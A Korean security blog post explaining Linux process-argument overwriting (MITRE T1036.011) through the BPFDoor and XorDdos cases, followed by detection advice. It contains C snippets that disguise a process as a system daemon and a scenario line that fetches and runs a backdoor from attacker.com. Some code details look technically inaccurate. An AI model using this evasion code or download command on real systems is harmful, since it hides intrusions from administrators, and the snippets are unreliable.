프로세스 인수 덮어쓰기: ps 명령 1줄로 정상 데몬 위장하는 원리 | T1036.011
BPFDoor가 /sbin/udevd로 위장한 T1036.011 기법의 메모리 조작 원리와 XorDdos 사례 분석. Linux argv 구조 악용부터 탐지 우회까지 완전 해부
BPFDoor가 /sbin/udevd로 위장한 T1036.011 기법의 메모리 조작 원리와 XorDdos 사례 분석. Linux argv 구조 악용부터 탐지 우회까지 완전 해부
BPFDoor 백도어가 2021년 발견될 당시, 보안 관리자들이 ps aux 명령으로 프로세스를 확인했을 때 /sbin/udevd -d나 dbus-daemon --system 같은 정상적인 시스템 데몬으로만 보였다. 하지만 실제로는 중국 위협 주체가 사용하는 고도화된 백도어였다. 이것이 바로 T1036.011 "Overwrite Process Arguments" 기법의 실제 위력이다.
Linux 시스템에서 프로세스가 실행될 때, 운영체제는 커맨드라인 인자들을 프로세스의 메모리 공간에 저장한다. 이 메모리 영역은 사용자 공간에 위치하기 때문에, 프로세스 자신이 언제든지 수정할 수 있다. 공격자들은 바로 이 특성을 악용해서 악성 프로세스를 정상적인 시스템 데몬으로 위장시키는 것이다.
이 기법은 단순히 파일명을 바꾸는 것과는 차원이 다른다. 실행 중인 프로세스의 메모리를 직접 조작해서 /proc 파일시스템과 ps 같은 시스템 도구들이 보여주는 정보를 속이는 것이기 때문이다.
T1036.011은 공격자가 실행 중인 프로세스의 메모리에서 커맨드라인 인자를 수정하여, 시스템 모니터링 도구들이 해당 프로세스를 정상적인 시스템 프로세스로 인식하도록 속이는 기법이다.
Adversaries may attempt to make an executable or file look legitimate by changing or spoofing the name or location of that file. Adversaries may overwrite the arguments portion of the command line in the /proc filesystem to make the process appear legitimate. — MITRE ATT&CK T1036.011
이 기법의 핵심은 Linux의 프로세스 메모리 구조를 이해하는 것이다. 프로세스가 실행될 때 execve() 시스템 콜을 통해 전달된 인자들은 프로세스의 스택 영역에 저장되고, 이 정보가 /proc/<PID>/cmdline 파일을 통해 외부에 노출된다.
| 용어 | 설명 |
|---|---|
| argv[0] | 역할: 프로세스 이름/경로 / 수정 가능 여부: 런타임 수정 가능 / 탐지 도구가 보는 것: ps, top에서 표시되는 이름 |
| 프로세스 이미지 | 역할: 실제 실행 파일 경로 / 수정 가능 여부: 수정 불가 / 탐지 도구가 보는 것: /proc/ |
| 커맨드라인 | 역할: 전체 실행 인자 / 수정 가능 여부: 런타임 수정 가능 / 탐지 도구가 보는 것: /proc/ |
| 프로세스 이름 | 역할: 커널이 관리하는 이름 / 수정 가능 여부: 제한적 수정 가능 / 탐지 도구가 보는 것: /proc/ |
Linux에서 새로운 프로세스가 생성될 때의 메모리 구조를 살펴보겠다.
프로세스가 실행되면 커널은 다음과 같은 구조로 메모리를 설정한다:
// 프로세스 스택 구조 (높은 주소에서 낮은 주소로)
// +------------------+ <- 스택 최상위
// | 환경 변수들 |
// +------------------+
// | argv 문자열들 | <- 여기가 수정 대상
// +------------------+
// | argv 포인터 배열 |
// +------------------+
// | argc (인자 개수) |
// +------------------+ <- main() 함수 시작점
중요한 점은 이 argv 문자열들이 사용자 공간 메모리에 위치한다는 것이다. 커널 공간이 아니기 때문에 프로세스 자신이 언제든지 수정할 수 있다.
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
// 원래 프로세스 이름: ./malware
printf("원래 argv[0]: %s\n", argv[0]);
// argv[0]을 정상 데몬으로 변경
strcpy(argv[0], "/sbin/udevd");
// 이제 ps 명령은 이 프로세스를 udevd로 인식
sleep(3600); // 1시간 대기
return 0;
}
Linux /proc 파일시스템은 실시간으로 프로세스 정보를 제공한다. /proc/<PID>/cmdline 파일은 프로세스의 argv 배열을 그대로 읽어서 보여주는 것이다.
# 정상적인 udevd 프로세스
$ cat /proc/1234/cmdline
/sbin/udevd-d
# 위장된 악성 프로세스 (실제로는 같은 내용을 보여줌)
$ cat /proc/5678/cmdline
/sbin/udevd-d
공격자가 프로세스 인자를 수정하는 과정을 단계별로 살펴보겠다.
1단계: 기존 인자 영역 초기화
void clear_argv(int argc, char *argv[]) {
int i;
size_t total_len = 0;
// 전체 argv 영역 크기 계산
for (i = 0; i < argc; i++) {
total_len += strlen(argv[i]) + 1; // +1은 null terminator
}
// 전체 영역을 0으로 초기화
memset(argv[0], 0, total_len);
}
2단계: 새로운 프로세스 이름 설정
void set_fake_name(char *argv[], const char *fake_name) {
// argv[0]에 가짜 이름 복사
strcpy(argv[0], fake_name);
// 나머지 argv 포인터들을 NULL로 설정
// (단일 인자만 보이도록)
argv[1] = NULL;
}
3단계: 환경 변수 조작 (고급 기법)
일부 공격자들은 환경 변수까지 조작해서 더욱 정교하게 위장한다:
void clear_environment() {
extern char **environ;
// 환경 변수 배열을 비움
if (environ) {
environ[0] = NULL;
}
}
BPFDoor 백도어는 다음과 같은 정상 데몬들로 위장했다:
// BPFDoor가 사용한 위장 이름들
const char *fake_names[] = {
"/sbin/udevd -d",
"/sbin/mingetty /dev/tty7",
"/usr/sbin/console-kit-daemon --no-daemon",
"hald-addon-acpi: listening on",
"dbus-daemon --system"
};
이렇게 위장하면 시스템 관리자가 ps aux 명령을 실행했을 때 완전히 정상적인 시스템 프로세스로 보이게 된다.
공격자 입장에서 T1036.011은 매우 매력적인 은닉 기법이다. 시스템 관리자들은 ps, top, htop으로 프로세스 상태를 확인한다. 이 도구들이 모두 /proc/<PID>/cmdline을 기반으로 정보를 표시하기 때문이다.
특히 다음과 같은 이유로 탐지가 어렵다:
/proc 파일시스템에 의존1. 초기 침투 후 지속성 확보
# 1. 웹쉘을 통해 초기 침투 성공
$ wget http://attacker.com/backdoor -O /tmp/.hidden
$ chmod +x /tmp/.hidden
# 2. 백도어 실행 (자동으로 프로세스 이름 위장)
$ /tmp/.hidden &
# 3. 관리자가 확인할 때는 정상 프로세스로 보임
$ ps aux | grep udevd
root 1234 0.0 0.1 12345 678 ? S 10:30 0:00 /sbin/udevd -d
2. XorDdos의 정교한 위장 기법
XorDdos 말웨어는 더욱 정교한 방식으로 이 기법을 사용했다:
// XorDdos의 실제 구현 (의사코드)
void disguise_process(int argc, char *argv[]) {
// 모든 인자 버퍼를 0으로 초기화
clear_all_args(argc, argv);
// 무해해 보이는 명령으로 위장
strcpy(argv[0], "cat");
strcpy(argv[1], "resolv.conf");
argv[2] = NULL;
// 환경 변수도 정리
clear_suspicious_env_vars();
}
이렇게 하면 시스템 관리자가 프로세스 목록을 확인할 때 단순히 cat resolv.conf 명령을 실행하는 것처럼 보인다.
타임스탬프 조작
일부 고급 공격자들은 프로세스 생성 시간까지 조작한다:
// 프로세스 생성 시간을 시스템 부팅 시간과 비슷하게 조작
void spoof_process_time() {
struct timeval tv;
gettimeofday(&tv, NULL);
// 시스템 부팅 후 얼마 안 된 시점으로 조작
tv.tv_sec -= (random() % 3600); // 1시간 이내 랜덤
// 프로세스 통계 정보 조작 (고급 기법)
modify_proc_stat_times(&tv);
}
다중 프로세스 위장
XorDdos는 여러 개의 프로세스를 생성해서 각각 다른 정상 명령으로 위장했다:
const char *disguise_commands[] = {
"cat resolv.conf",
"grep localhost /etc/hosts",
"ps aux",
"netstat -an"
};
for (int i = 0; i < 4; i++) {
if (fork() == 0) {
disguise_as(disguise_commands[i]);
run_malicious_payload();
}
}
2021년 발견된 BPFDoor 사건에서 이 기법의 실제 위력을 확인할 수 있다. 중국 위협 주체가 운영하는 이 백도어는:
BPFDoor는 prctl() 시스템 콜과 메모리 조작을 조합해서 다음과 같이 동작했다:
// BPFDoor의 실제 동작 (분석 결과 기반)
void bpfdoor_disguise() {
// 1. 프로세스 이름 변경
prctl(PR_SET_NAME, "udevd", 0, 0, 0);
// 2. argv 영역 덮어쓰기
strcpy(argv[0], "/sbin/udevd");
strcpy(argv[1], "-d");
argv[2] = NULL;
// 3. 환경 변수 정리
clearenv();
}
1. 도구 의존성 문제
대부분의 시스템 모니터링 도구들이 같은 정보원을 사용한다:
# 모두 /proc/<PID>/cmdline을 읽음
$ ps aux
$ pstree
$ top
$ htop
2. 메모리 포렌식의 한계
일반적인 디스크 포렌식으로는 탐지가 어렵다. 메모리 덤프를 분석해야 하는데, 이는 실시간 대응이 어렵다.
3. 정상 행동 패턴 모방
공격자들이 실제 시스템 데몬의 행동 패턴까지 모방하면 더욱 탐지가 어려워진다:
// 실제 udevd처럼 행동
void mimic_udevd_behavior() {
// udev 관련 디렉터리 접근
opendir("/dev");
opendir("/sys/devices");
// 적절한 CPU 사용률 유지
usleep(random() % 100000);
}
1. 다중 정보원 활용
단일 정보원에 의존하지 말고 여러 소스를 비교해야 한다:
# /proc/<PID>/cmdline (조작 가능)
$ cat /proc/1234/cmdline
# /proc/<PID>/exe (조작 어려움)
$ ls -l /proc/1234/exe
# /proc/<PID>/comm (제한적 조작만 가능)
$ cat /proc/1234/comm
# 실제 바이너리 경로 확인
$ readlink /proc/1234/exe
2. 메모리 분석 기반 탐지
# 프로세스 메모리 맵 분석
$ cat /proc/1234/maps | grep -E "(heap|stack)"
# 메모리 내용 직접 확인
$ gdb -p 1234
(gdb) info proc mappings
(gdb) x/s 0x7fff12345678 # argv 영역 직접 확인
3. 행동 기반 탐지
프로세스 이름이 아닌 실제 행동을 모니터링:
# 네트워크 연결 모니터링
$ lsof -i -p 1234
# 파일 접근 패턴 확인
$ strace -p 1234
# 시스템 콜 패턴 분석
$ perf trace -p 1234
4. BPFDoor 특화 탐지 규칙
Sandfly Security에서 제안한 BPFDoor 탐지 규칙들:
process_running_from_dev_dir: /dev에서 실행되는 프로세스process_deleted: 삭제된 바이너리를 가진 프로세스process_running_sniffer_environ_empty: 환경변수가 없는 스니핑 프로세스process_running_sniffer_cmdline_overwrite: 의심스러운 cmdline을 가진 프로세스5. 올바른 구현 체크리스트
시스템 관리자용:
/proc/<PID>/exe와 /proc/<PID>/cmdline 비교보안 도구 개발자용:
T1036.011 프로세스 인수 덮어쓰기는 Linux 시스템의 유연한 메모리 구조를 악용한 정교한 은닉 기법이다. 사용자 공간 메모리의 자유로운 수정이라는 운영체제의 기본 특성을 역이용해서, 시스템 관리자들이 가장 신뢰하는 ps 명령조차 속일 수 있다.
BPFDoor와 XorDdos 같은 실제 사례들이 보여주듯이, 이 기법은 단순한 이론이 아니다. 수년간 탐지되지 않으면서 중요한 인프라를 침투하는 데 사용되고 있다.
방어하려면 단일 정보원에 의존하지 말고, /proc/<PID>/exe와 실제 행동 패턴까지 종합적으로 분석해야 한다. 프로세스 이름만 보고 판단하는 시대는 이미 끝났다.
다음에는 브라우저 핑거프린트 위조: 3단계로 네트워크 탐지를 우회하는 원리 | T1036.012에서 더 고도화된 위장 기법을 살펴보겠다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.